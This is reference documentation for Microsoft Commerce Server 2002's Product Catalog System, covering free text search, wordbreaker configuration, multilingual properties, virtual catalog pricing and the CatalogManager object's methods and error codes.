You can use the Search method of the CatalogManager object to combine property search with free text search. The following example searches all books with price less than 100 dollars:

oCatalogManager.Search(“cy_list_price<100”, “books”,”mycatalog”)

You can use the Search method of the Category object to restrict your search to a single category. You can also specify if you want to search recursively or not.

Sometimes the FreetextSearch and Query methods do not return an error and the recordset is null. The FreetextSearch and Query methods will write the error to the event log.

When doing a free text search, you can use the FreeTextSearch_Rank property to find out how well a row in the returned recordset matched your search phrase. You can also sort results based on this rank. For example:

oCatalogManager.FreeTextSearch(“books”,”mycatalog”, ,”[Name],[Description],[ FreeTextSearch_Rank]”,
“[FreeTextSearch_Rank]”)
 oCatalogManager.Search(,“books” ,”mycatalog”, ,”[Name],[Description],[ FreeTextSearch_Rank]”,
“[FreeTextSearch_Rank]”)

However, FreeTextSearch_Rank can be specified with the Search method only if the strFTSPhrase parameter is not blank.


Updating FullText Catalogs

If you have multiple Commerce Server 2002 catalogs in one FullText catalog, you can use the UpdateFulltextcatalogs.vbs script in the Program Files\Microsoft Commerce Server 2002\Support directory to update your FullText catalogs.

If you do not want FullText catalogs to be created when you create a catalog, you can set the value of the lNumFullTextCatalogs parameter in the CatalogManager.Initialize method to 0. For example:

oCatalogManager.Initialize “connection string” , true, 0

To prevent catalogs from being created during an XML import process, set the value of the fGenerateFullTextIndexes parameter in the CatalogManager.ImportXML method to false. For example:

oCatalogManager.ImportXML “xml file path”, true, true, false

If you are creating catalogs by using Business Desk, then you can use the Commerce Server MMC to set the value of the num_full_text_catalogs property of the Product catalog resource to 0.

You can create the FullText catalogs later by using the RegenerateFreeTextIndex method of the ProductCatalog object.


Using Wordbreakers with Product Catalogs

The Product Catalog System uses a neutral-language wordbreaker for searching language-insensitive content and a language-specific wordbreaker for each language in the catalog. You can change these wordbreakers to suit your needs.

To specify the wordbreaker to be used for a language, use the UpdateLanguageInfo.vbs script in the Program Files\Microsoft Commerce Server 2002\Support directory.

SQL Server 2000 supports the following wordbreakers:

Wordbreaker | Locale ID
Neutral | 0
Chinese_Simplified | 0x0804
Chinese_Traditional | 0x0404
Dutch | 0x0413
English_UK | 0x0809
English_US | 0x0409
French | 0x040c
German | 0x0407
Italian | 0x0410
Japanese | 0x0411
Korean | 0x0412
Spanish_Modern | 0x0c0a
Swedish_Default | 0x041d

By default, Commerce Server 2002 is configured to use the following wordbreakers for the following languages.

Language code | Wordbreaker
Neutral | Neutral
Chs, zh-CN | Chinese simplified
cht, zh-TW | Chinese traditional
Deu, de | German
Eng, en-GB | English_UK
Enu, en-US | English_US
Ens, es | Spanish
Fra, fr | French
Ita, it | Italian
Jpn, ja | Japanese
Kor, ko | Korean
nld, nl | Dutch
Sve, sv | Swedish

If you want to change this default mapping or associate a wordbreaker with a language, modify the languages.xml file in the Program Files\Microsoft Commerce Server 2002 folder as follows:

<?xml version = '1.0' encoding='utf-8' ?>
<Languages>
<Language culture_name="en-ZW"    display_name="English - Zimbabwe" culture_code="0x3009" iso639x="ENW" collation="" word_breaker="0x0409"/>
</Languages>

This will use the English wordbreaker for the culture en-ZW.

Run the following script: UpdateLanguageInfo <path of the languages.xml file>.

By default, the language-neutral data in the catalog uses the Neutral language wordbreaker. To use a different wordbreaker for the language-neutral data, add the following entry in languages.xml:

<Languages>
<Language culture_name="Neutral"    display_name="Neutral" culture_code="" iso639x="Neutral" collation="" word_breaker="0x0411"/>
</Languages>

This will use the Japanese wordbreaker for searching the language-neutral data and can be helpful on a Japanese installation.

Run the following script: UpdateLanguageInfo <path of the languages.xml file>.


Getting the Status of an XML Import Operation

When you are importing an XML file in an asynchronous mode, you need to know the status of your current import operation.

The catalog import creates a temporary table called ##CatalogImportStatusID that contains the status ID of the import operation currently in progress. This table contains a single field called StatusID. The Catalogstatus table contains the status of all the import operations. You can use the StatusID to get the status of the import operation from the Catalogstatus table.

Select @statusid =  StatusID from ##CatalogImportStatusID
Select * from catalogstatus where StatusId = @ statusid

If you have a very large XML file and you continue to get a “Not enough memory to complete this operation” error during import, install Microsoft XML Core Services (MSXML) 4.0.


Changing Non-Multilingual Properties to Multilingual

To change non-multilingual properties in your own catalog system to multilingual properties, use the Commerce Server 2002 Upgrade tool. Create an XML file as follows:

<?xml version="1.0" ?>
<UpgradeInfo>
<PropertyName>Description</PropertyName>
</UpgradeInfo >

Add a <PropertyName> tag for each property you want to convert to multilingual.

Use the following command:

CS2002Upgrade –L –N “connection string to the catalog database” –X “path of the XML file”


Converting Properties to Multilingual in a CSV File

If you want to make properties multilingual in your CSV file, first create these properties as multilingual properties and then import the CSV file.


Specifying Input Parameters for Search Conditions

For all input parameters that allow you to specify a search condition, the following two rules apply:

  • You should enclose all the property names in brackets. For example: [Country Of Origin] = N’some country’ And [Name] = N‘some name’.
  • If you are using Unicode values in search phrases, then they should be preceded by a capital N. For example: [Name] = N’My name’ and Description=N’some description’.

When passing values to parameters that accept a search condition, you should precede the property value by N and the property values should be enclosed in single quotes. You must do this if the values can contain Unicode characters. For example:

oCatalogManager.Search("[Name] = N'unicode_myname'")
oCatalogManager.Catalogs("[CatalogName] LIKE N'unicode_Books%'")

In the preceding example, unicode_myname and unicode_Books would be actual Unicode characters.


Changing the Data Type of a Catalog Property

To change the data type of a property from string to text, use the SetPropertyAttributes method of the CatalogManager object.


Converting a Commerce Server 2000 Multilingual Catalog to Commerce Server 2002

If your Commerce Server 2000 multilingual implementation conforms to the Commerce Server 2000 multilingual implementation documentation, you can use the Commerce Server 2002 Upgrade tool to upgrade to the Commerce Server 2002 multilingual implementation.

Create an XML file with the following schema:

<?xml version="1.0" ?>
<UpgradeInfo>
<Language languagecode="English" culture_name="en-US" />
<Language languagecode="french" culture_name="fr-FR" />
</UpgradeInfo >

This XML file maps the language code of the Commerce Server 2000 implementation to a culture code.

Use the following command:

CS2002Upgrade –L –N “connection string to the catalog database” –X “path of the XML file”


Adding Relationships Across Catalogs

Use the AddRelationshipToCategory and AddRelationshipToProduct methods of the Product and Category objects to add relationships from another catalog.


Working with Root Categories

If you pass an empty string to the GetCategory method of the ProductCatalog object, the Category object is exposed as a root category. This allows you to call some of the methods of the Category object as if you are calling them on the catalog. The following snippet shows how you can page through the root products in a catalog:

Set oProductCatalog = oCatalogManager.GetCatalog(“mycatalog”)
‘ Get the root category
Set oCategory = oProductCatalog.GetCategory(“”)
‘ Now get 10 products and product families starting from the 10th root product
Set oRs = oCategory.Products(12,”Name”,10,10, NumRootProducts)
‘ This call will return all products and variants in your catalog
Set oRs = oCategory. DescendantProducts(14,1, , NumRootProducts)

You can call the following methods on the root category:

  • CatalogName
  • CategoryName
  • ChildCategories
  • Products
  • DescendantProducts
  • Search


Adding User-Defined Attributes to Catalogs

To associate additional information with your catalogs, use the AddCatalogAttribute method of the CatalogManager object to add user-defined catalog attributes. You can also add an AttributeDefinition element in the XML file to create user-defined catalog attributes by importing an XML file. For example, you can add a VendorCode attribute and use it to associate a vendor with a catalog.

For example, following is an XML with the VendorCode attribute:

<?xml version="1.0" ?>
-    <MSCommerceCatalogCollection2 version="2.0">
-       <CatalogSchema>
<AttributeDefinition AttributeType="CatalogAttribute"
   name="VendorCode" dataType="string" maxLength =  "30" />
         <!—Properties and definitions go here ->
  </CatalogSchema>
 <Catalog name =”Mycatalog” VendorCode=”MyVendor”>
<!—Categories and  products go here ->
      </Catalog>
  </MSCommerceCatalogCollection2>


Associating Additional Information with Catalog Properties

You can use the AddPropertyAttribute method of the CatalogManager object to add user-defined property attributes. You can also add an AttributeDefinition element in the XML file to create user-defined property attributes by importing an XML file.

Following is a sample XML file in which the AttributeDefinition element is used:

<?xml version="1.0" ?>
-    <MSCommerceCatalogCollection2 version="2.0">
-       <CatalogSchema>
<AttributeDefinition Name="Unitofmeasure" dataType="string"
maxlength="20" />
<PropertyName =”myproperty” datatype = “string” Unitofmeasure=”lbs”/>
  </CatalogSchema>
  </MSCommerceCatalogCollection2>


Working with Materialized and Non-Materialized Virtual Catalogs

By default, virtual catalogs are implemented as SQL Server views. This makes it easier and faster to edit a virtual catalog, but it can reduce the run-time performance in comparison to base catalogs. To improve run-time performance of virtual catalogs, you can materialize your virtual catalogs. When you materialize a virtual catalog, the virtual catalog data is stored in tables. This improves the run-time performance of virtual catalogs.

You can materialize or non-materialize your virtual catalogs by using the MaterializeVC.vbs script. This file is installed in the Program Files\Microsoft Commerce Server 2002\Support directory.

To reflect base catalog changes to your virtual catalogs, you have to rebuild your virtual catalogs. For more information, see the RebuildAllVirtualCatalogs and RebuildVirtualCatalog methods.


Pricing Rules in Custom Catalogs and Virtual Catalogs

Commerce Server 2000 supported custom catalogs. Commerce Server 2002 supports virtual catalogs, an enhanced and more flexible form of custom catalogs.

The percentage multiplier pricing rule differs between custom catalogs and virtual catalogs as follows:

  • In a custom catalog the final price = base price * pricing amount /100.
  • In a virtual catalog the final price = base price + base price * pricing amount /100.

For example, to give a 10 percent discount on a product in a custom catalog you have to set the pricing amount to 90, whereas in a virtual catalog you have to set the pricing amount to -10.

When you upgrade, the Commerce Server 2002 Upgrade tool will convert your custom catalogs to virtual catalogs. The price rules on the custom catalogs will be applied to the virtual catalogs. The contents of the virtual catalogs, including the prices in the virtual catalogs, will be the same as in the custom catalogs.

The custom catalogs will be converted to virtual catalogs when you unpackage a Commerce Server 2000 site.


Using Current Product Prices vs Original Product Prices

The OriginalPrice property of a product is set only when the product is created. It is never changed.

While the OriginalPrice property contains the original/backup price of a product, the cy_list_price field contains the current price for the product. At run time, you mostly need to be concerned with cy_list_price.

The code in the Catalog API ensures that cy_list_price is either the product’s direct price or the pricing-category's indirect price. You do not need to pay attention to the OriginalPrice value, because it is an internal implementation detail and typically you will not need to directly read or write it.

For example:

  1. You create a product P1 with price $5. It sets both cy_list_price and OriginalPrice to $5.
  2. If you now assign this product indirect pricing (that is, assign it to a pricing category C1 with price = $2), then cy_list_price for P1 is changed to $2. The original price for P1 is not changed.
  3. Finally, if you change P1 to be directly priced (that is, remove its pricing-category assignment), then cy_list_price is set to the OriginalPrice (that is, the backed up price), in this case, $5.

The OriginalPrice property is used to store a backup of the "original" product price so that you can revert the price when the product is changed from indirect to direct pricing.


Creating a FreeTextSearchable Multilingual Text Property

By default, you cannot use Commerce Server Business Desk to specify the freetextsearchable property for a multilingual text property. However, you can set the FreeTextSearchable property using the CatalogManager object, as shown in the following code sample:

Dim oCatalogManager
Dim propertyName
Set oCatalogManager = CreateObject(“Commerce.CatalogManager”)
oCatalogManager.Initialize “connection string to the catalog database”, -1
Set propertyName = “MyProperty”
Set Rs = oCatalogManager.GetPropertyAttributes(propertyName)
Rs(“IsFreeTextSearchable”)= true
oCatalogManager.SetPropertyAttributes Rs


CatalogManager Object [C++]

CatalogManager Object [Visual Basic]

Use this object to work with the entire Product Catalog System. The methods and properties of this object affect all catalogs contained in the Product Catalog System.

ProgID: | Commerce.CatalogManager (Externally creatable)
COM Class Name: | CatalogManager
Type Library Name: | Microsoft Commerce 2002 Catalog Type Library v1.3
DLL Name: | Catalog.dll
Threading Model: | Both
[C++]
COM Interface Name: | ICatalogManager3
Interface ID Constant: | IID_ICatalogManager3
Header File: | Catalog.h, mspu_guids.h
[C++]

In C++, use the ICatalogManager3 interface to access the properties and methods of the CatalogManager object. The ICatalogManager interface exists in Microsoft Commerce Server 2000 and later versions. The ICatalogManager2 interface exists in Microsoft Commerce Server 2000 SP1 and later versions.The ICatalogManager3 interface is the default interface for the CatalogManager object and is backward compatible with the previous interfaces.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
AddCatalogAttribute | Adds an attribute to a catalog.
AddDefinitionProperty | Adds a property to a definition.
AddDefinitionVariantProperty | Adds a variant property to a definition.
AddPropertyAttribute | Adds an attribute to a property.
AddPropertyValue | Adds a value to the list of defined values for this property. Only applies to enumerations.
CreateCatalog | Creates a new catalog.
CreateCategoryDefinition | Creates a new category definition.
CreateProductDefinition | Creates a new product definition.
CreateProperty | Creates a new property.
DeleteCatalog | Deletes a catalog.
DeleteDefinition | Deletes a product or category definition.
DeleteProperty | Deletes a property.
DeltaExportXML | Exports updated catalog data as an Extensible Markup Language (XML)-formatted file.
ExportCSV | Exports catalog data as a comma-separated values (CSV)-formatted file.
ExportXML | Exports catalog data as an XML-formatted file.
FreeTextSearch | Performs a free-text search of catalogs.
GetAttributes | Returns the catalog or property attributes in the Product Catalog System.
GetCatalog | Returns the specified catalog object.
GetDefinitionProperties | Returns the properties of a specified definition.
GetPropertyAttributes | Returns all the attributes of a specified property.
GetPropertyValues | Returns a list of appropriate values for an enumeration property.
ImportCSV | Imports a CSV-formatted file as catalog data.
ImportXML | Imports an XML-formatted file as catalog data.
Initialize | Initializes the CatalogManager object.
Query | Performs queries against product, variant, and category data in one or more catalogs.
RebuildAllVirtualCatalogs | Rebuilds all virtual catalogs.
RemoveCatalogAttribute | Removes the specified attribute from a catalog.
RemoveDefinitionProperty | Removes the specified property or variant property from a definition.
RemovePropertyAttribute | Removes the specified attribute from a property.
RemovePropertyValue | Removes a defined value from an enumeration property.
RenameDefinition | Renames a definition.
RenameProperty | Renames a property.
Search | Performs language-specific searches in one or more catalogs.
SetDefinitionProperties | Changes the properties of a category or product definition.
SetJoinTable | Joins an external table to a table in the Product Catalog System.
SetPropertyAttributes | Changes the attributes of a property.
ValidateXML | Validates an XML-formatted file against the catalog definition.
[Visual Basic]
Method | Description
AddCatalogAttribute | Adds an attribute to a catalog.
AddDefinitionProperty | Adds a property to a definition.
AddDefinitionVariantProperty | Adds a variant property to a definition.
AddPropertyAttribute | Adds an attribute to a property.
AddPropertyValue | Adds a value to the list of defined values for this property. Only applies to enumerations.
CreateCatalog | Creates a new catalog.
CreateCategoryDefinition | Creates a new category definition.
CreateProductDefinition | Creates a new product definition.
CreateProperty | Creates a new property.
DeleteCatalog | Deletes a catalog.
DeleteDefinition | Deletes a product or category definition.
DeleteProperty | Deletes a property.
DeltaExportXML | Exports updated catalog data as an Extensible Markup Language (XML)-formatted file.
ExportCSV | Exports catalog data as a comma-separated values (CSV)-formatted file.
ExportXML | Exports catalog data as an XML-formatted file.
FreeTextSearch | Performs a free-text search of catalogs.
GetAttributes | Returns the catalog or property attributes in the Product Catalog System.
GetCatalog | Returns the specified catalog object.
GetDefinitionProperties | Returns the properties of a specified product or category definition.
GetPropertyAttributes | Returns all the attributes of a specified property.
GetPropertyValues | Returns a list of appropriate values for an enumeration property.
ImportCSV | Imports a CSV-format file as catalog data.
ImportXML | Imports an XML-formatted file as catalog data.
Initialize | Initializes the CatalogManager object.
Query | Performs queries against product, variant, and category data in one or more catalogs.
RebuildAllVirtualCatalogs | Rebuilds all virtual catalogs.
RemoveCatalogAttribute | Removes the specified attribute from a catalog.
RemoveDefinitionProperty | Removes the specified property or variant property from a definition.
RemovePropertyAttribute | Removes the specified attribute from a property.
RemovePropertyValue | Removes a defined value from an enumeration property.
RenameDefinition | Renames a definition.
RenameProperty | Renames a property.
Search | Performs language-specific searches in one or more catalogs.
SetDefinitionProperties | Changes the properties of a category or product definition.
SetJoinTable | Joins an external table to a table in the Product Catalog System.
SetPropertyAttributes | Changes the attributes of a property.
ValidateXML | Validates an XML-formatted file against the catalog definition.

Properties

[C++]
Property | Type | Description
Catalogs | _Recordset | Returns a recordset containing a record for each catalog contained in the Product Catalog System, including their properties. This property is read-only.
CategoryDefinitions | _Recordset | Returns a recordset containing the names of all of the category definitions that currently exist in the Product Catalog System. This property is read-only.
CustomCatalogs | _Recordset | This property is obsolete.
ProductDefinitions | _Recordset | Returns a recordset containing the names of all the product definitions that currently exist in the Product Catalog System. This property is read-only.
Properties | _Recordset | Returns a recordset containing the name of each property that currently exists in the Product Catalog System. This property is read-only.
[Visual Basic]
Property | Type | Description
Catalogs | _Recordset | Returns a recordset containing a record for each catalog contained in the Product Catalog System, including their properties. This property is read-only.
CategoryDefinitions | _Recordset | Returns a recordset containing the names of all of the category definitions that currently exist in the Product Catalog System. This property is read-only.
CustomCatalogs | _Recordset | This property is obsolete.
ProductDefinitions | _Recordset | Returns a recordset containing the names of all the product definitions that currently exist in the Product Catalog System. This property is read-only.
Properties | _Recordset | Returns a recordset containing the name of each property that currently exists in the Product Catalog System. This property is read-only.

Recordsets

Recordset | Description
PropertyAttribute | The default property definitions found in the CatalogAttributes table.

This topic also contains a list of Language Culture Names, Display Names, Culture Codes, and ISO 639x values that are used by Commerce Server. For more information, see Table of Language Culture Names, Codes, and ISO Values.

Remarks

Some methods of the CatalogManager object cannot be called in a transacted object. These methods are CreateCatalog, DeleteCatalog, GenerateCustomCatalog, ImportCSV, ImportXML, and RegenerateFreeTextSearchIndex. These methods involve the creation, deletion, or updating of free text indexes. SQL Server does not allow these operations in a transaction.

Binding to the CatalogManager object in a COM+ component that has either the Required or Requires New Transaction property set generates a run time error.

See Also

User-defined Property and Catalog Attributes


ICatalogManager3 Methods [C++]

CatalogManager Methods [Visual Basic]

Methods

[C++]
Method | Description
AddCatalogAttribute | Adds an attribute to a catalog.
AddDefinitionProperty | Adds a property to a definition.
AddDefinitionVariantProperty | Adds a variant property to a definition.
AddPropertyAttribute | Adds an attribute to a property.
AddPropertyValue | Adds a value to the list of defined values for this property. Only applies to enumerations.
CreateCatalog | Creates a new catalog.
CreateCategoryDefinition | Creates a new category definition.
CreateProductDefinition | Creates a new product definition.
CreateProperty | Creates a new property.
DeleteCatalog | Deletes a catalog.
DeleteDefinition | Deletes a product or category definition.
DeleteProperty | Deletes a property.
DeltaExportXML | Exports updated catalog data as an Extensible Markup Language (XML)-formatted file.
ExportCSV | Exports catalog data as a comma-separated values (CSV)-formatted file.
ExportXML | Exports catalog data as an XML-formatted file.
FreeTextSearch | Performs a free-text search of catalogs.
GetAttributes | Returns the catalog or property attributes in the Product Catalog System.
GetCatalog | Returns the specified catalog object.
GetDefinitionProperties | Returns the properties of a specified definition.
GetPropertyAttributes | Returns all the attributes of a specified property.
GetPropertyValues | Returns a list of appropriate values for an enumeration property.
ImportCSV | Imports a CSV-formatted file as catalog data.
ImportXML | Imports an XML-formatted file as catalog data.
Initialize | Initializes the CatalogManager object.
Query | Performs queries against product, variant, and category data in one or more catalogs.
RebuildAllVirtualCatalogs | Rebuilds all virtual catalogs.
RemoveCatalogAttribute | Removes the specified attribute from a catalog.
RemoveDefinitionProperty | Removes the specified property or variant property from a definition.
RemovePropertyAttribute | Removes the specified attribute from a property.
RemovePropertyValue | Removes a defined value from an enumeration property.
RenameDefinition | Renames a definition.
RenameProperty | Renames a property.
Search | Performs language-specific searches in one or more catalogs.
SetDefinitionProperties | Changes the properties of a category or product definition.
SetJoinTable | Joins an external table to a table in the Product Catalog System.
SetPropertyAttributes | Changes the attributes of a property.
ValidateXML | Validates an XML-formatted file against the catalog definition.
[Visual Basic]
Method | Description
AddCatalogAttribute | Adds an attribute to a catalog.
AddDefinitionProperty | Adds a property to a definition.
AddDefinitionVariantProperty | Adds a variant property to a definition.
AddPropertyAttribute | Adds an attribute to a property.
AddPropertyValue | Adds a value to the list of defined values for this property. Only applies to enumerations.
CreateCatalog | Creates a new catalog.
CreateCategoryDefinition | Creates a new category definition.
CreateProductDefinition | Creates a new product definition.
CreateProperty | Creates a new property.
DeleteCatalog | Deletes a catalog.
DeleteDefinition | Deletes a product or category definition.
DeleteProperty | Deletes a property.
DeltaExportXML | Exports updated catalog data as an Extensible Markup Language (XML)-formatted file.
ExportCSV | Exports catalog data as a comma-separated values (CSV)-formatted file.
ExportXML | Exports catalog data as an XML-formatted file.
FreeTextSearch | Performs a free-text search of catalogs.
GetAttributes | Returns the catalog or property attributes in the Product Catalog System.
GetCatalog | Returns the specified catalog object.
GetDefinitionProperties | Returns the properties of a specified product or category definition.
GetPropertyAttributes | Returns all the attributes of a specified property.
GetPropertyValues | Returns a list of appropriate values for an enumeration property.
ImportCSV | Imports a CSV-format file as catalog data.
ImportXML | Imports an XML-formatted file as catalog data.
Initialize | Initializes the CatalogManager object.
Query | Performs queries against product, variant, and category data in one or more catalogs.
RebuildAllVirtualCatalogs | Rebuilds all virtual catalogs.
RemoveCatalogAttribute | Removes the specified attribute from a catalog.
RemoveDefinitionProperty | Removes the specified property or variant property from a definition.
RemovePropertyAttribute | Removes the specified attribute from a property.
RemovePropertyValue | Removes a defined value from an enumeration property.
RenameDefinition | Renames a definition.
RenameProperty | Renames a property.
Search | Performs language-specific searches in one or more catalogs.
SetDefinitionProperties | Changes the properties of a category or product definition.
SetJoinTable | Joins an external table to a table in the Product Catalog System.
SetPropertyAttributes | Changes the attributes of a property.
ValidateXML | Validates an XML-formatted file against the catalog definition.


ICatalogManager3::AddCatalogAttribute Method[C++]

CatalogManager.AddCatalogAttribute Method [Visual Basic]

Use this method to add an attribute to a catalog.

Definition

[C++]
HRESULT ICatalogManager3::AddCatalogAttribute(
  BSTR strAttributeName,
  CatalogDataTypeEnum eDataType,
  VARIANT varMaxLength
);
[Visual Basic]
Sub AddCatalogAttribute(
  strAttributeName As String,
  eDataType As CatalogDataTypeEnum,
  Optional varMaxLength As Variant
)

Parameters

strAttributeName [C++]
[in] A BSTR that contains the attribute name. See the Remarks section for a list of restricted characters.
strAttributeName [Visual Basic]
A String that contains the attribute name. See the Remarks section for a list of restricted characters.
eDataType [C++]
[in] An enumeration that contains the data type. See the Remarks section for valid values.
eDataType [Visual Basic]
An enumeration that contains the data type. See the Remarks section for valid values.
varMaxLength [C++]
[in, optional] A VARIANT that contains the maximum string length if the eDataType parameter is cscString. This parameter is required if the eDataType parameter is cscString.
varMaxLength [Visual Basic]
A VARIANT that contains the maximum string length if the eDataType parameter is cscString. This parameter is required if the eDataType parameter is cscString.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B5 [Visual Basic] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_ATTRIBUTE | [C++] 0x88980117 [Visual Basic] &H88980117 | The attribute name you specified is invalid. Attribute names cannot be blank and cannot exceed 36 characters. Attribute names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_INVALID_DATATYPE | [C++] 0x88980074 [Visual Basic] &H88980074 | The datatype you specified is invalid.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_COLUMN_LENGTH | [C++] 0x88980040 [Visual Basic] &H88980040 | The length specified for this property does not lie between 1 and 4000.
E_CAT_INVALID_DATATYPE_FOR_ATTRIBUTE | [C++] 0x889800A6 [Visual Basic] &H889800A6 | The enumeration or filename data types cannot be used for creating property attributes
E_CAT_BUILTIN_CATALOG_ATTRIBUTE | [C++] 0x889800B0 [Visual Basic] &H889800B0 | The catalog attribute that you specified is a built in catalog attribute and hence cannot be added or removed.
E_CAT_INVALID_DATATYPE | [C++] 0x88980074 [Visual Basic] &H88980074 | The datatype you specified is invalid.
E_CAT_MAX_ATTRIBUTES | [C++] 0x88980118 [Visual Basic] &H88980118 | You have exceeded the maximum limit of 100 attributes that can be created
E_CAT_CATALOG_ATTR_EXISTS | [C++] 0x88980110 [Visual Basic] &H88980110 | The catalog attribute that you specified already exists.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The varMaxLength parameter applies only when the eDataType parameter equals cscString. The minimum value is 1 and the maximum value is 4000. The varMaxLength parameter is ignored for all other data types.

Each catalog system is limited to 100 attributes.

Catalog attribute names, and therefore the strAttributeName parameter, are limited to a maximum length of 36 characters and cannot contain any of the following characters:

  • Period (.)
  • Comma (,)
  • Double quote (")
  • Left square bracket ([)
  • Right square bracket (])

The following table shows the values of the CatalogDataTypeEnum enumeration that are valid for this method, their associated names, and describes their use.

Name | Value | Description
cscInteger | 0 | Indicates an exact numeric value that holds whole numbers from –2[31] (-2,147,483,648) <= n <= 2[31] –1 (2,147,483,647).
cscBigInteger | 1 | Indicates an exact numeric value with precision 19 (if signed) or 20 (if unsigned), and scale 0 (signed: –2[63] <= n <= 2[63] – 1, unsigned: 0 <= n <= 2[64] – 1) [3], [9].
cscFloat | 2 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308, and the range of negative values is approximately –2.23E –308 through –1.79E 308.
cscDouble | 3 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308, and the range of negative values is approximately –2.23E –308 through –1.79E 308.
cscBoolean | 4 | Indicates a Boolean (bit), holds either a 1 or 0. Integer values other than 1 or 0 are accepted but are always interpreted as 1.
cscString | 5 | Indicates a variable-length character string with a maximum string length of 4000 characters.
cscDateTime | 6 | Indicates a Microsoft SQL Server DateTime data type.
cscCurrency | 7 | Indicates a Microsoft SQL Server money data type.
cscText | 10 | Indicates a Microsoft SQL Server Text data type.
cscInvalid | -1 | Reserved for future use.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.AddCatalogAttribute("Supplier", cscString, 100)

See Also

User-defined Property and Catalog Attributes

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object


ICatalogManager3::AddDefinitionProperty Method [C++]

CatalogManager.AddDefinitionProperty Method [Visual Basic]

Use this method to add an existing property to an existing category or product definition.

Definition

[C++]
HRESULT ICatalogManager3::AddDefinitionProperty(
  BSTR strDefinitionName,
  BSTR strPropertyName
);
[Visual Basic]
Sub AddDefinitionProperty(
  strDefinitionName As String,
  strPropertyName As String
)

Parameters

strDefinitionName [C++]
[in] A BSTR that contains the name of the definition to which the property will be added.
strDefinitionName [Visual Basic]
A String that contains the name of the definition to which the property will be added.
strPropertyName [C++]
[in] A BSTR that contains the name of the property.
strPropertyName [Visual Basic]
A String that contains the name of the property.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_DEFINITION_LENGTH | [C++] 0x889800E [Visual Basic] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A [Visual Basic] &H8898002 | The property name you specified is invalid. Property Names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_DEFINITION_DOESNT_EXIST | [C++] 0x8898000 [Visual Basic] &H889800B | The definition you specified does not exist.
E_CAT_PROP_DOESNT_EXIST | [C++] 0x8898000 [Visual Basic] &H8898005 | The property name you specified does not exist.
E_CAT_PROP_IN_DEFINITION | [C++] 0x8898000 [Visual Basic] &H889800D | The property you specified is already part of that definition.
E_CAT_ERROR_VARIANT_PROP | [C++] 0x889800A [Visual Basic] &H8898003 | A variant property cannot be added to a Category definition.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method adds a property to a definition. Any products or categories created from the definition will also have the property. A property can only be added to a definition once. A property cannot be used in a product definition as both a property and a variant property.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.AddDefinitionProperty "Printers", "Manufacturer"

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::AddDefinitionVariantProperty

[Visual Basic] CatalogManager.AddDefinitionVariantProperty

[C++] ICatalogManager3::RemoveDefinitionProperty

[Visual Basic] CatalogManager.RemoveDefinitionProperty


ICatalogManager3::AddDefinitionVariantProperty Method [C++]

CatalogManager.AddDefinitionVariantProperty Method [Visual Basic]

Use this method to add a variant property to a definition. This method is similar to the AddDefinitionProperty method. The properties added with this method will only be used by product variants.

Definition

[C++]
HRESULT ICatalogManager3::AddDefinitionVariantProperty(
  BSTR strDefinitionName,
  BSTR strPropertyName
);
[Visual Basic]
Sub AddDefinitionVariantProperty(
  strDefinitionName As String,
  strPropertyName As String
)

Parameters

strDefinitionName [C++]
[in] A BSTR that contains the name of the definition to which the specified variant property will be added.
strDefinitionName [Visual Basic]
A String that contains the name of the definition to which the specified variant property will be added.
strPropertyName [C++]
[in] A BSTR that contains the name of the property to be added to the specified definition.
strPropertyName [Visual Basic]
A String that contains the name of the property to be added to the specified definition.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

